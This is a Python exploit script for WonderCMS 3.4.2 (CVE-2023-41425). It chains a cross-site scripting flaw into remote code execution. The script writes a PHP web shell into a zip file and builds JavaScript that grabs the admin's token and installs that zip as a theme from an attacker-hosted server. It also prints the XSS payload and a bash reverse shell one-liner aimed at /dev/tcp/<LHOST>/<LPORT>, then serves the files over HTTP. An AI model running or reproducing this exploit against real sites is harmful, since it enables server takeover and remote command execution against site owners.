WonderCMS 3.4.2 - Remote Code Execution (RCE)

# Exploit Title: WonderCMS 3.4.2 - Remote Code Execution (RCE)
# Date: 2025-04-16
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: [email protected]
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# MiRROR-H: https://mirror-h.org/search/hacker/49626/
# CVE: CVE-2023-41425

import requests
import argparse
from argparse import RawTextHelpFormatter
import os
import subprocess
import zipfile
from termcolor import colored

def main():
    parser = argparse.ArgumentParser(description="Exploit Wonder CMS v3.4.2
XSS to RCE", formatter_class=RawTextHelpFormatter)
    parser.add_argument("--url", required=True, help="Target URL of
loginURL (Example: http://sea.htb/loginURL)")
    parser.add_argument("--xip", required=True, help="IP for HTTP web
server that hosts the malicious .js file")
    parser.add_argument("--xport", required=True, help="Port for HTTP web
server that hosts the malicious .js file")
    args = parser.parse_args()

    target_login_url = args.url
    target_split = args.url.split('/')
    target_url = target_split[0] + '//' + target_split[2]

    # Web Shell
    print("[+] Creating PHP Web Shell")
    if not os.path.exists('malicious'):
        os.mkdir('malicious')
        with open ('malicious/malicious.php', 'w') as f:
            f.write('<?php system($_GET["cmd"]); ?>')
        with zipfile.ZipFile('./malicious.zip', 'w') as z:
            z.write('malicious/malicious.php')
        os.remove('malicious/malicious.php')
        os.rmdir('malicious')
    else:
        print(colored("[!] Directory malicious already exists!", 'yellow'))

    # Malicious .js
    js = f'''var token =
document.querySelectorAll('[name="token"]')[0].value;
var module_url =
"{target_url}/?installModule=http://{args.xip}:{args.xport}/malicious.zip&directoryName=pwned&type=themes&token="
+ token;
var xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("GET", module_url);
xhr.send();'''

    print("[+] Writing malicious.js")
    with open('malicious.js', 'w') as f:
        f.write(js)


    xss_payload = args.url.replace("loginURL",
"index.php?page=loginURL?")+"\"></form><script+src=\"http://
"+args.xip+":"+args.xport+"/malicious.js\"></script><form+action=\""
    print("[+] XSS Payload:")
    print(colored(f"{xss_payload}", 'red'))

    print("[+] Web Shell can be accessed once .zip file has been
requested:")

print(colored(f"{target_url}/themes/malicious/malicious.php?cmd=<COMMAND>",
'red'))
    print("[+] To get a reverse shell connection run the following:")
    print(colored(f"curl -s '{target_url}/themes/malicious/malicious.php'
--get --data-urlencode \"cmd=bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT>
0>&1'\" ", 'yellow'))

    print("[+] Starting HTTP server")
    subprocess.run(["python3", "-m", "http.server", "-b", args.xip,
args.xport])

if __name__ == "__main__":
    main()